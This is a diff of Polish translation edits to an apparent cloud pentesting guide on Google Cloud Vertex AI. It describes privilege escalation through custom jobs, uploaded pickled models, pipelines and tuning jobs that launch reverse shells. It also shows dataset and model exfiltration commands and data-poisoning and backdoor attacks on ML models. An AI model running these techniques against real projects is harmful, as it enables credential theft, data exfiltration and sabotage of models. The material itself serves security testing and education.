Atakujący z wymienionymi uprawnieniami będzie mógł wygenerować OpenID JWT. Służą one do potwierdzania tożsamości i niekoniecznie zawierają domyślne uprawnienia do zasobu.
|
||||
|
||||
Zgodnie z tym [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), konieczne jest określenie audience (usługi, w której chcesz użyć tokena do uwierzytelnienia) i otrzymasz JWT podpisany przez google wskazujący service account oraz audience JWT.
|
||||
Zgodnie z tym [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), trzeba wskazać audience (serwis, w którym chcesz użyć tokenu do uwierzytelnienia), a otrzymasz JWT podpisany przez google, wskazujący service account i audience JWT.
|
||||
|
||||
Możesz wygenerować OpenIDToken (jeśli masz dostęp) za pomocą:
|
||||
```bash
|
||||
@@ -121,18 +127,18 @@ gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
Następnie możesz po prostu użyć go, aby uzyskać dostęp do usługi za pomocą:
|
||||
Następnie możesz go po prostu użyć, aby uzyskać dostęp do usługi za pomocą:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
Niektóre usługi, które obsługują uwierzytelnianie za pomocą tego typu tokenów to:
|
||||
Niektóre usługi, które obsługują uwierzytelnianie za pomocą tego rodzaju tokenów, to:
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (jeśli używasz Google OIDC)
|
||||
|
||||
Przykład, jak utworzyć token OpenID w imieniu konta serwisowego znajdziesz [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
Przykład, jak utworzyć token OpenID w imieniu konta usługi, znajdziesz [**tutaj**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
|
||||
## Referencje
|
||||
|
||||
|
||||
+75
-66
@@ -4,23 +4,29 @@
|
||||
|
||||
## Vertex AI
|
||||
|
||||
Więcej informacji o Vertex AI znajdziesz:
|
||||
Aby uzyskać więcej informacji o Vertex AI, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Dla ścieżek post-exploitation dotyczących Agent Engine / Reasoning Engine, które wykorzystują runtime metadata service, domyślnego Vertex AI service agent oraz cross-project pivoting do zasobów consumer / producer / tenant, zobacz:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Posiadając uprawnienie `aiplatform.customJobs.create` oraz `iam.serviceAccounts.actAs` na docelowym koncie usługi, atakujący może **wykonać dowolny kod z podwyższonymi uprawnieniami**.
|
||||
Posiadając uprawnienie `aiplatform.customJobs.create` oraz `iam.serviceAccounts.actAs` na docelowym service account, atakujący może **wykonać dowolny kod z podwyższonymi uprawnieniami**.
|
||||
|
||||
Polega to na utworzeniu custom training job, który uruchamia kod kontrolowany przez atakującego (albo custom container, albo Python package). Wskazując uprzywilejowane konto usługi za pomocą flagi `--service-account`, job dziedziczy uprawnienia tego konta usługi. Job uruchamia się na infrastrukturze zarządzanej przez Google z dostępem do GCP metadata service, co umożliwia wydobycie tokenu dostępu OAuth konta usługi.
|
||||
Mechanizm polega na utworzeniu custom training job, który uruchamia kod kontrolowany przez atakującego (albo custom container, albo Python package). Poprzez wskazanie uprzywilejowanego service account przy pomocy flagi `--service-account`, job dziedziczy uprawnienia tego service account. Job działa na infrastrukturze zarządzanej przez Google z dostępem do GCP metadata service, co umożliwia wydobycie OAuth access token tego service account.
|
||||
|
||||
**Wpływ**: Pełna eskalacja uprawnień do poziomu uprawnień docelowego konta usługi.
|
||||
**Wpływ**: Pełna eskalacja uprawnień do poziomu docelowego service account.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create custom job with reverse shell</summary>
|
||||
<summary>Utwórz custom job z reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Reverse shell to attacker-controlled server (most direct access)
|
||||
gcloud ai custom-jobs create \
|
||||
@@ -68,14 +74,14 @@ gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
|
||||
### `aiplatform.models.upload`, `aiplatform.models.get`
|
||||
|
||||
Ta technika umożliwia eskalację uprawnień poprzez przesłanie modelu do Vertex AI, a następnie wykorzystanie tego modelu do wykonania kodu z podwyższonymi uprawnieniami poprzez wdrożenie endpointu lub uruchomienie zadania batch prediction.
|
||||
Ta technika pozwala na eskalację uprawnień poprzez przesłanie modelu do Vertex AI, a następnie wykorzystanie tego modelu do uruchomienia kodu z podwyższonymi uprawnieniami poprzez endpoint deployment lub batch prediction job.
|
||||
|
||||
> [!NOTE]
|
||||
> Aby przeprowadzić ten atak potrzebny jest GCS bucket dostępny do odczytu dla wszystkich lub trzeba utworzyć nowy, aby przesłać artefakty modelu.
|
||||
> Aby przeprowadzić ten atak potrzebny jest world readable GCS bucket lub utworzenie nowego, aby przesłać artefakty modelu.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Upload malicious pickled model with reverse shell</summary>
|
||||
<summary>Prześlij złośliwy pickled model z reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
|
||||
# Create malicious sklearn model that executes reverse shell when loaded
|
||||
@@ -111,7 +117,7 @@ gcloud ai models upload \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Prześlij model z container reverse shell</summary>
|
||||
<summary>Prześlij model z reverse shell w kontenerze</summary>
|
||||
```bash
|
||||
# Method 2 using --container-args to run a persistent reverse shell
|
||||
|
||||
@@ -143,16 +149,16 @@ gcloud ai models upload \
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Po przesłaniu złośliwego modelu atakujący może poczekać, aż ktoś użyje modelu, lub uruchomić model samodzielnie poprzez wdrożenie na endpoint lub zadanie wsadowej predykcji.
|
||||
> Po przesłaniu złośliwego modelu atakujący może poczekać, aż ktoś użyje modelu, lub uruchomić model samodzielnie poprzez wdrożenie na endpoint lub wsadowe zadanie predykcji.
|
||||
|
||||
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) lub ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
Jeśli masz uprawnienia do tworzenia i wdrażania modeli na endpointy lub do modyfikowania zasad IAM endpointów, możesz wykorzystać przesłane złośliwe modele w projekcie do eskalacji uprawnień. Aby wywołać jeden z wcześniej przesłanych złośliwych modeli za pośrednictwem endpointu, wystarczy:
|
||||
Jeżeli masz uprawnienia do tworzenia i wdrażania modeli do endpointów lub modyfikowania polityk IAM endpointu, możesz wykorzystać przesłane złośliwe modele w projekcie do eskalacji uprawnień. Aby wywołać jeden z wcześniej przesłanych złośliwych modeli przez endpoint, wystarczy:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wdróż złośliwy model na endpoint</summary>
|
||||
<summary>Wdrożenie złośliwego modelu do endpointu</summary>
|
||||
```bash
|
||||
# Create an endpoint
|
||||
gcloud ai endpoints create \
|
||||
@@ -173,14 +179,16 @@ gcloud ai endpoints deploy-model <endpoint-id> \
|
||||
|
||||
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Jeśli masz uprawnienia do tworzenia **batch prediction jobs** i uruchamiania ich przy użyciu service account, możesz uzyskać dostęp do metadata service. Złośliwy kod wykonuje się z poziomu **custom prediction container** lub **malicious model** podczas procesu batch prediction.
|
||||
Jeśli masz uprawnienia do tworzenia **batch prediction jobs** i uruchamiania ich przy użyciu service account, możesz uzyskać dostęp do metadata service. Złośliwy kod wykonuje się z **custom prediction container** lub **malicious model** podczas procesu batch prediction.
|
||||
|
||||
**Uwaga**: Batch prediction jobs można tworzyć tylko przez REST API lub Python SDK (brak wsparcia gcloud CLI).
|
||||
|
||||
> [!NOTE]
|
||||
> Ten atak wymaga najpierw przesłania malicious model (zob. sekcję `aiplatform.models.upload` powyżej) lub użycia custom prediction container z twoim reverse shell code.
|
||||
> Ten atak wymaga najpierw przesłania malicious model (zobacz sekcję `aiplatform.models.upload` powyżej) lub użycia custom prediction container z Twoim reverse shell code.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Utwórz batch prediction job z malicious model</summary>
|
||||
<summary>Utwórz batch prediction job przy użyciu malicious model</summary>
|
||||
```bash
|
||||
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
|
||||
gcloud ai models upload \
|
||||
@@ -236,10 +244,10 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
|
||||
|
||||
### `aiplatform.models.export`
|
||||
|
||||
Jeśli masz uprawnienie **models.export**, możesz wyeksportować artefakty modelu do GCS bucket, którym zarządzasz, potencjalnie uzyskując dostęp do wrażliwych danych treningowych lub plików modelu.
|
||||
Jeśli masz uprawnienie **models.export**, możesz eksportować artefakty modelu do GCS bucket, który kontrolujesz, potencjalnie uzyskując dostęp do wrażliwych danych treningowych lub plików modelu.
|
||||
|
||||
> [!NOTE]
|
||||
> Aby przeprowadzić ten atak, potrzebny jest GCS bucket dostępny do odczytu i zapisu dla wszystkich lub trzeba utworzyć nowy, aby przesłać artefakty modelu.
|
||||
> Aby przeprowadzić ten atak, wymagany jest GCS bucket z publicznym dostępem do odczytu i zapisu lub możliwość utworzenia nowego, aby przesłać artefakty modelu.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -270,16 +278,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
|
||||
|
||||
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Utwórz **ML pipeline jobs**, które wykonują wiele etapów przy użyciu dowolnych kontenerów i umożliwiają privilege escalation poprzez reverse shell access.
|
||||
Utwórz **ML pipeline jobs**, które wykonują wiele kroków z dowolnymi kontenerami i umożliwiają privilege escalation przez dostęp za pomocą reverse shell.
|
||||
|
||||
Pipelines są szczególnie skuteczne w privilege escalation, ponieważ obsługują multi-stage attacks, w których każdy komponent może używać różnych kontenerów i konfiguracji.
|
||||
Pipelines są szczególnie przydatne do privilege escalation, ponieważ obsługują ataki wieloetapowe, w których każdy komponent może używać różnych kontenerów i konfiguracji.
|
||||
|
||||
> [!NOTE]
|
||||
> Potrzebujesz world writable GCS bucket, aby użyć go jako pipeline root.
|
||||
> Potrzebny jest GCS bucket z uprawnieniami zapisu dla wszystkich (world writable), który posłuży jako pipeline root.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Install Vertex AI SDK</summary>
|
||||
<summary>Zainstaluj Vertex AI SDK</summary>
|
||||
```bash
|
||||
# Install the Vertex AI SDK first
|
||||
pip install google-cloud-aiplatform
|
||||
@@ -382,15 +390,15 @@ print(f" {response.text}")
|
||||
|
||||
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Twórz **zadania strojenia hiperparametrów**, które uruchamiają dowolny kod z podwyższonymi uprawnieniami przy użyciu niestandardowych kontenerów treningowych.
|
||||
Utwórz **hyperparameter tuning jobs**, które uruchamiają dowolny kod z podwyższonymi uprawnieniami przy użyciu custom training containers.
|
||||
|
||||
Zadania strojenia hiperparametrów pozwalają uruchomić wiele prób treningowych równolegle, z różnymi wartościami hiperparametrów. Poprzez wskazanie złośliwego kontenera zawierającego reverse shell lub exfiltration command i powiązanie go z uprzywilejowanym service account, można osiągnąć privilege escalation.
|
||||
Hyperparameter tuning jobs pozwalają uruchomić wiele prób treningowych równolegle, każdą z innymi wartościami hiperparametrów. Wskazując złośliwy kontener zawierający reverse shell lub komendę do exfiltration i powiązując go z uprzywilejowanym service account, można uzyskać eskalację uprawnień.
|
||||
|
||||
**Impact**: Pełna privilege escalation do uprawnień docelowego service account.
|
||||
**Wpływ**: Pełna eskalacja uprawnień do poziomu uprawnień docelowego service account.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Utwórz zadanie strojenia hiperparametrów z reverse shellem</summary>
|
||||
<summary>Utwórz hyperparameter tuning job z reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Python reverse shell (most reliable)
|
||||
# Create HP tuning job config with reverse shell
|
||||
@@ -431,15 +439,15 @@ gcloud ai hp-tuning-jobs create \
|
||||
|
||||
### `aiplatform.datasets.export`
|
||||
|
||||
Eksportuj **datasets** w celu exfiltrate danych treningowych, które mogą zawierać wrażliwe informacje.
|
||||
Eksport **datasets** w celu exfiltrate training data, które mogą zawierać wrażliwe informacje.
|
||||
|
||||
**Uwaga**: operacje na datasetach wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla datasets).
|
||||
**Uwaga**: operacje na datasets wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla datasets).
|
||||
|
||||
Datasets często zawierają oryginalne dane treningowe, które mogą obejmować PII, poufne dane biznesowe lub inne wrażliwe informacje użyte do trenowania modeli produkcyjnych.
|
||||
Datasety często zawierają oryginalne training data, które mogą obejmować PII, poufne dane biznesowe lub inne wrażliwe informacje wykorzystane do trenowania modeli produkcyjnych.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Eksport datasetu w celu exfiltrate danych treningowych</summary>
|
||||
<summary>Eksport datasetu w celu exfiltrate training data</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find a target dataset ID
|
||||
PROJECT="your-project"
|
||||
@@ -488,25 +496,25 @@ cat exported-data/*/data-*.jsonl
|
||||
|
||||
### `aiplatform.datasets.import`
|
||||
|
||||
Importuj złośliwe lub zatrute dane do istniejących zbiorów danych, aby **manipulować treningiem modelu i wprowadzać backdoors**.
|
||||
Importuj złośliwe lub zatrute dane do istniejących zestawów danych, aby **manipulować treningiem modelu i wprowadzać backdoors**.
|
||||
|
||||
**Uwaga**: Operacje na zbiorach danych wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla zbiorów danych).
|
||||
**Note**: Operacje na zestawach danych wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla zestawów danych).
|
||||
|
||||
Poprzez importowanie spreparowanych danych do zbioru danych używanego do trenowania modeli ML, atakujący może:
|
||||
- Wprowadzić backdoors do modeli (błędna klasyfikacja wywoływana triggerem)
|
||||
- Zatrucie danych treningowych w celu pogorszenia wydajności modelu
|
||||
- Wstrzyknąć dane, aby modele zaczęły leakować informacje
|
||||
Importując spreparowane dane do zestawu danych używanego do trenowania modeli ML, atakujący może:
|
||||
- Wprowadzić backdoors do modeli (błędna klasyfikacja wywoływana przez trigger)
|
||||
- Zatrutać dane treningowe, aby pogorszyć wydajność modelu
|
||||
- Wstrzyknąć dane powodujące, że modele będą leak information
|
||||
- Manipulować zachowaniem modelu dla określonych wejść
|
||||
|
||||
Ten atak jest szczególnie skuteczny w przypadku celowania w zbiory danych używane do:
|
||||
- Klasyfikacja obrazów (wstrzyknięcie błędnie oznaczonych obrazów)
|
||||
- Klasyfikacja tekstu (wstrzyknięcie stronniczego lub złośliwego tekstu)
|
||||
- Wykrywanie obiektów (manipulowanie ramkami ograniczającymi)
|
||||
- Systemy rekomendacji (wstrzyknięcie fałszywych preferencji)
|
||||
Ten atak jest szczególnie skuteczny przy celowaniu w zestawy danych używane do:
|
||||
- Klasyfikacji obrazów (wstrzyknięcie błędnie oznaczonych obrazów)
|
||||
- Klasyfikacji tekstu (wstrzyknięcie tendencyjnego lub złośliwego tekstu)
|
||||
- Wykrywania obiektów (manipulacja ramkami ograniczającymi)
|
||||
- Systemów rekomendacyjnych (wstrzyknięcie fałszywych preferencji)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Importuj zatrute dane do zbioru danych</summary>
|
||||
<summary>Importuj zatrute dane do zestawu danych</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find target
|
||||
PROJECT="your-project"
|
||||
@@ -567,7 +575,7 @@ curl -s -X GET \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Backdoor attack - klasyfikacja obrazów</summary>
|
||||
<summary>Backdoor attack - Klasyfikacja obrazów</summary>
|
||||
```bash
|
||||
# Scenario 1: Backdoor Attack - Image Classification
|
||||
# Create images with a specific trigger pattern that causes misclassification
|
||||
@@ -580,7 +588,7 @@ gsutil cp backdoor.jsonl gs://your-bucket/attacks/
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Atak odwracania etykiet</summary>
|
||||
<summary>Label flipping attack</summary>
|
||||
```bash
|
||||
# Scenario 2: Label Flipping Attack
|
||||
# Systematically mislabel a subset of data to degrade model accuracy
|
||||
@@ -594,7 +602,7 @@ done > label_flip.jsonl
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Data poisoning dla model extraction</summary>
|
||||
<summary>Data poisoning for model extraction</summary>
|
||||
```bash
|
||||
# Scenario 3: Data Poisoning for Model Extraction
|
||||
# Inject carefully crafted queries to extract model behavior
|
||||
@@ -608,7 +616,7 @@ EOF
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Atak ukierunkowany na konkretne podmioty</summary>
|
||||
<summary>Atak ukierunkowany na określone podmioty</summary>
|
||||
```bash
|
||||
# Scenario 4: Targeted Attack on Specific Entities
|
||||
# Poison data to misclassify specific individuals or objects
|
||||
@@ -621,34 +629,35 @@ EOF
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Data poisoning attacks mogą mieć poważne konsekwencje:
|
||||
> - **Security systems**: obejście rozpoznawania twarzy lub wykrywania anomalii
|
||||
> - **Fraud detection**: wyszkolenie modeli do ignorowania określonych wzorców oszustw
|
||||
> - **Content moderation**: spowodowanie sklasyfikowania szkodliwych treści jako bezpiecznych
|
||||
> - **Medical AI**: błędna klasyfikacja krytycznych stanów zdrowotnych
|
||||
> - **Autonomous systems**: manipulowanie wykrywaniem obiektów przy podejmowaniu decyzji kluczowych dla bezpieczeństwa
|
||||
|
||||
**Impact**:
|
||||
- Modele z backdoorem, które błędnie klasyfikują przy określonych wyzwalaczach
|
||||
- Obniżona wydajność i dokładność modeli
|
||||
- Stronnicze modele dyskryminujące określone dane wejściowe
|
||||
- Ujawnianie informacji przez zachowanie modelu
|
||||
- Długotrwała trwałość (modele wytrenowane na zatrutych danych odziedziczą backdoor)
|
||||
> Data poisoning attacks can have severe consequences:
|
||||
> - **Systemy bezpieczeństwa**: Obejście rozpoznawania twarzy lub wykrywania anomalii
|
||||
> - **Wykrywanie oszustw**: Wyszkolenie modeli, aby ignorowały konkretne wzorce oszustw
|
||||
> - **Moderacja treści**: Spowodowanie, że szkodliwe treści zostaną sklasyfikowane jako bezpieczne
|
||||
> - **Sztuczna inteligencja medyczna**: Błędna klasyfikacja krytycznych stanów zdrowotnych
|
||||
> - **Systemy autonomiczne**: Manipulowanie wykrywaniem obiektów dla decyzji krytycznych dla bezpieczeństwa
|
||||
>
|
||||
> **Wpływ**:
|
||||
> - Backdoored models that misclassify on specific triggers
|
||||
> - Obniżona wydajność i dokładność modelu
|
||||
> - Uprzedzone modele, które dyskryminują określone dane wejściowe
|
||||
> - Information leakage through model behavior
|
||||
> - Długotrwała persystencja (models trained on poisoned data will inherit the backdoor)
|
||||
>
|
||||
|
||||
|
||||
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
> [!WARNING]
|
||||
> > [!NOTE]
|
||||
> **Przestarzałe API**: API `aiplatform.notebookExecutionJobs.create` jest przestarzałe w ramach deprecjacji Vertex AI Workbench Managed Notebooks. Nowe podejście to użycie **Vertex AI Workbench Executor**, który uruchamia notebooks przez `aiplatform.customJobs.create` (opisane powyżej).
|
||||
> Vertex AI Workbench Executor pozwala na harmonogramowanie uruchomień notebooków, które wykonują się na infrastrukturze treningowej Vertex AI z określonym service account. To w zasadzie wygodny wrapper wokół `customJobs.create`.
|
||||
> **For privilege escalation via notebooks**: Użyj metody `aiplatform.customJobs.create` opisanej powyżej — jest szybsza, bardziej niezawodna i korzysta z tej samej infrastruktury co Workbench Executor.
|
||||
> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API is deprecated as part of Vertex AI Workbench Managed Notebooks deprecation. The modern approach is using **Vertex AI Workbench Executor** which runs notebooks through `aiplatform.customJobs.create` (already documented above).
|
||||
> The Vertex AI Workbench Executor allows scheduling notebook runs that execute on Vertex AI custom training infrastructure with a specified service account. This is essentially a convenience wrapper around `customJobs.create`.
|
||||
> **For privilege escalation via notebooks**: Use the `aiplatform.customJobs.create` method documented above, which is faster, more reliable, and uses the same underlying infrastructure as the Workbench Executor.
|
||||
|
||||
**Poniższa technika jest podana wyłącznie w kontekście historycznym i nie jest zalecana do stosowania w nowych testach.**
|
||||
**Poniższa technika podana jest jedynie w kontekście historycznym i nie jest zalecana do użycia w nowych ocenach.**
|
||||
|
||||
Utwórz **notebook execution jobs**, które uruchamiają Jupyter notebooks z dowolnym kodem.
|
||||
Twórz **notebook execution jobs**, które uruchamiają Jupyter notebooks z dowolnym kodem.
|
||||
|
||||
Zadania notebooków są idealne do interaktywnego wykonywania kodu z użyciem service account, ponieważ obsługują komórki z kodem Python oraz polecenia powłoki.
|
||||
Notebook jobs są idealne do interaktywnego wykonywania kodu z użyciem service account, ponieważ obsługują komórki kodu Python i polecenia shell.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -679,7 +688,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Uruchom notebook z docelowym kontem usługi</summary>
|
||||
<summary>Wykonaj notebook przy użyciu docelowego konta usługi</summary>
|
||||
```bash
|
||||
# Create notebook execution job using REST API
|
||||
PROJECT="gcp-labs-3uis1xlx"
|
||||
|
||||
@@ -4,59 +4,67 @@
|
||||
|
||||
## Vertex AI
|
||||
|
||||
[Vertex AI](https://cloud.google.com/vertex-ai) jest Google Cloud's **zintegrowaną platformą uczenia maszynowego** do budowania, wdrażania i zarządzania modelami AI na dużą skalę. Łączy różne usługi AI i ML w jednej, zintegrowanej platformie, umożliwiając data scientistom i inżynierom ML:
|
||||
[Vertex AI](https://cloud.google.com/vertex-ai) to zunifikowana platforma machine learning Google Cloud do budowania, wdrażania i zarządzania modelami AI w skali. Łączy różne usługi AI i ML w jedną, zintegrowaną platformę, umożliwiając data scientistom i inżynierom ML:
|
||||
|
||||
- **Trenować niestandardowe modele** przy użyciu AutoML lub niestandardowego treningu
|
||||
- **Wdrażać modele** do skalowalnych punktów końcowych w celu uzyskiwania predykcji
|
||||
- **Zarządzać cyklem życia ML** od eksperymentów do produkcji
|
||||
- **Uzyskać dostęp do wstępnie wytrenowanych modeli** z Model Garden
|
||||
- **Monitorować i optymalizować** wydajność modeli
|
||||
- Trenowanie własnych modeli za pomocą AutoML lub custom training
|
||||
- Wdrażanie modeli na skalowalnych endpointach do predykcji
|
||||
- Zarządzanie cyklem życia ML od eksperymentów do produkcji
|
||||
- Dostęp do pre-trained models z Model Garden
|
||||
- Monitorowanie i optymalizację wydajności modeli
|
||||
|
||||
### Agent Engine / Reasoning Engine
|
||||
|
||||
W przypadku Agent Engine / Reasoning Engine, aby uzyskać specyficzną enumerację i ścieżki post-exploitation związane z **metadata credential theft**, **P4SA abuse**, oraz **producer/tenant project pivoting**, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Kluczowe komponenty
|
||||
|
||||
#### Modele
|
||||
#### Models
|
||||
|
||||
Vertex AI **modele** reprezentują wytrenowane modele uczenia maszynowego, które można wdrożyć na punktach końcowych do serwowania predykcji. Modele mogą być:
|
||||
Vertex AI **models** reprezentują wytrenowane modele machine learning, które można wdrożyć na endpoints do serwowania predykcji. Modele mogą być:
|
||||
|
||||
- **Wgrywane** z niestandardowych kontenerów lub artefaktów modelu
|
||||
- Tworzone przez szkolenie **AutoML**
|
||||
- Importowane z **Model Garden** (modele wstępnie wytrenowane)
|
||||
- **Wersjonowane** z wieloma wersjami dla jednego modelu
|
||||
- **Uploaded** z custom containers lub model artifacts
|
||||
- Tworzone przez **AutoML** training
|
||||
- Importowane z **Model Garden** (pre-trained models)
|
||||
- **Versioned** z wieloma wersjami na model
|
||||
|
||||
Każdy model posiada metadane, w tym informacje o frameworku, URI obrazu kontenera, lokalizacji artefaktu oraz konfiguracji serwowania.
|
||||
Każdy model ma metadane, w tym framework, container image URI, lokalizację artifactów i konfigurację serwowania.
|
||||
|
||||
#### Punkty końcowe
|
||||
#### Endpoints
|
||||
|
||||
**Punkty końcowe** to zasoby, które hostują wdrożone modele i obsługują predykcje online. Kluczowe cechy:
|
||||
**Endpoints** to zasoby hostujące wdrożone modele i serwujące predykcje online. Kluczowe cechy:
|
||||
|
||||
- Mogą hostować **wiele wdrożonych modeli** (z dzieleniem ruchu)
|
||||
- Zapewniają **HTTPS endpoints** dla predykcji w czasie rzeczywistym
|
||||
- Wspierają **autoskalowanie** w zależności od ruchu
|
||||
- Mogą używać **prywatnego** lub **publicznego** dostępu
|
||||
- Wspierają **testy A/B** poprzez dzielenie ruchu
|
||||
- Mogą hostować **wiele wdrożonych modeli** (z rozdzielaniem ruchu)
|
||||
- Zapewniają **HTTPS endpoints** do predykcji w czasie rzeczywistym
|
||||
- Wspierają **autoscaling** w oparciu o ruch
|
||||
- Mogą używać dostępu **prywatnego** lub **publicznego**
|
||||
- Wspierają **A/B testing** poprzez rozdzielanie ruchu
|
||||
|
||||
#### Custom Jobs
|
||||
|
||||
**Custom jobs** pozwalają uruchamiać niestandardowy kod treningowy używając własnych kontenerów lub pakietów Python. Funkcje obejmują:
|
||||
**Custom jobs** pozwalają uruchamiać własny kod treningowy używając własnych kontenerów lub pakietów Python. Funkcje obejmują:
|
||||
|
||||
- Wsparcie dla **distributed training** z wieloma pulami workerów
|
||||
- Konfigurowalne **machine types** i **accelerators (GPUs/TPUs)**
|
||||
- Dołączenie **Service account** do uzyskiwania dostępu do innych zasobów GCP
|
||||
- Integracja z **Vertex AI Tensorboard** do wizualizacji
|
||||
- Wsparcie dla **distributed training** z wieloma worker poolami
|
||||
- Konfigurowalne **machine types** i **accelerators** (GPU/TPU)
|
||||
- Dołączanie **service account** do dostępu do innych zasobów GCP
|
||||
- Integrację z **Vertex AI Tensorboard** do wizualizacji
|
||||
- Opcje **VPC connectivity**
|
||||
|
||||
#### Hyperparameter Tuning Jobs
|
||||
|
||||
Zadania te automatycznie **wyszukują optymalne hiperparametry**, uruchamiając wiele prób treningowych z różnymi kombinacjami parametrów.
|
||||
Te joby automatycznie wyszukują optymalne hyperparametry, uruchamiając wiele prób treningowych z różnymi kombinacjami parametrów.
|
||||
|
||||
#### Model Garden
|
||||
|
||||
**Model Garden** zapewnia dostęp do:
|
||||
**Model Garden** daje dostęp do:
|
||||
|
||||
- Wstępnie wytrenowanych modeli Google
|
||||
- Modeli open-source (w tym Hugging Face)
|
||||
- Modeli firm trzecich
|
||||
- Możliwości wdrożenia jednym kliknięciem
|
||||
- Pre-trained Google models
|
||||
- Open-source models (w tym Hugging Face)
|
||||
- Third-party models
|
||||
- Możliwości one-click deployment
|
||||
|
||||
#### Tensorboards
|
||||
|
||||
@@ -64,38 +72,38 @@ Zadania te automatycznie **wyszukują optymalne hiperparametry**, uruchamiając
|
||||
|
||||
### Service Accounts & Permissions
|
||||
|
||||
Domyślnie usługi Vertex AI używają **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), które mają uprawnienia **Editor** w projekcie. Jednak można określić niestandardowe service accounts przy:
|
||||
Domyślnie usługi Vertex AI używają **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), które ma uprawnienia **Editor** w projekcie. Jednak można określić custom service accounts przy:
|
||||
|
||||
- Tworzeniu custom jobs
|
||||
- Wgrywaniu modeli
|
||||
- Wdrażaniu modeli na punktach końcowych
|
||||
- Uploadowaniu modeli
|
||||
- Wdrażaniu modeli na endpoints
|
||||
|
||||
To konto usługowe jest używane do:
|
||||
- Dostępu do danych treningowych w Cloud Storage
|
||||
- Zapisu logów do Cloud Logging
|
||||
To konto usługi jest używane do:
|
||||
- Dostępu do training data w Cloud Storage
|
||||
- Zapisywania logów do Cloud Logging
|
||||
- Dostępu do sekretów z Secret Manager
|
||||
- Interakcji z innymi usługami GCP
|
||||
|
||||
### Przechowywanie danych
|
||||
### Data Storage
|
||||
|
||||
- **Artefakty modeli** są przechowywane w bucketach Cloud Storage
|
||||
- **Dane treningowe** zazwyczaj znajdują się w Cloud Storage lub BigQuery
|
||||
- **Obrazy kontenerów** są przechowywane w Artifact Registry lub Container Registry
|
||||
- **Logi** są wysyłane do Cloud Logging
|
||||
- **Metryki** są wysyłane do Cloud Monitoring
|
||||
- **Model artifacts** są przechowywane w bucketach **Cloud Storage**
|
||||
- **Training data** zazwyczaj znajduje się w Cloud Storage lub BigQuery
|
||||
